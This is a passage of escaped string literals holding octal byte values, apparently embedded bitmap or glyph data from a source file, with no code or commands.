\"\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\"\n  \"\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377~<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\"\n  \"\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377~<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\376\\374\\370\\360\\340\\300\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30<~\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30<~\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\177\\77\\37\\17\\7\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\"\n  \"\\360\\370\\374\\376\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\"\n  \"\\7\\3\\1\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\"\n  \"\\340\\300\\200\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\"\n  \"\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\177\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\"\n  \"\\17\\37\\77\\177\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\"\n  \"\\360\\370\\374\\376\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\376\\374\\370\\370\\360\\340\\300\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\370\\374\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377~\"\n  \"~<\\30\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\177\\77\\37\\37\\17\\7\\3\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\360\\370\\370\\374\\376\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\0\\30<~~\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\"\n  \"\\177\\77\\37\\7\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\17\\37\\37\\77\\177\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\360\\370\\374\\374\\374\\376\\376\\376\\377\"\n  \"\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\374\\376\\377\\377\\377\\377\\177\\77\\37\\17\\7\\3\\3\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\374\\376\\376\\374\\370\\340\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\377\\377\\377\\377\\377\\377\\377\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\"\n  \"\\370\\340\\300\\200\\1\\3\\7\\37\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\77\\37\\7\\3\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\377\\377\\377\\377\\377\\377\\377\\37\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\37\\77\\177\\177\\77\\37\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\340\\360\\370\\374\\376\\377\\377\\377\\377\\177\\77\\17\\7\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\177\\177\\177\\77\\77\\77\\37\\17\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\377\\377\\377\\377\\377\\377\\374\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\77\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\"\n  \"\\77\\17\\3\\1\\200\\300\\360\\374\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\374\\360\\300\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\17\\77\\377\\377\\377\\377\\377\\377\\77\\17\\7\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\376\\374\\370\\370\\360\\340\\300\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\376\\376\\374\\370\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\374\\376\\376\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377~\"\n  \"~<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\77\\377\\377\\377\\377\\377\\376\\374\\370\\340\\300\\200\\0\\0\\0\"\n  \"\\200\\340\\360\\370\\374\\377\\377\\377\\377\\377\\177\\77\\17\\7\\3\\1\\0\\0\\0\\0\\377\\177\\77\\37\\37\\17\\7\\3\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\177\\377\\377\\377\\377\\377\\376\\377\"\n  \"\\377\\377\\377\\377\\77\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\\377\\377\\377\\377\\377\\177\\77\\177\"\n  \"\\377\\377\\377\\377\\377\\376\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\374\\376\\377\\377\\377\\377\\377\\77\\37\\17\\7\\1\\0\\0\\0\\0\"\n  \"\\0\\1\\3\\7\\37\\77\\177\\377\\377\\377\\377\\377\\374\\370\\360\\340\\300\\200\\0\\0\\377\\376\\374\\370\\370\\360\\340\\300\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\177\\177\\77\\37\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\37\\77\\177\\177\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377~\"\n  \"~<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\177\\77\\37\\37\\17\\7\\3\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\376\\374\\370\\360\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  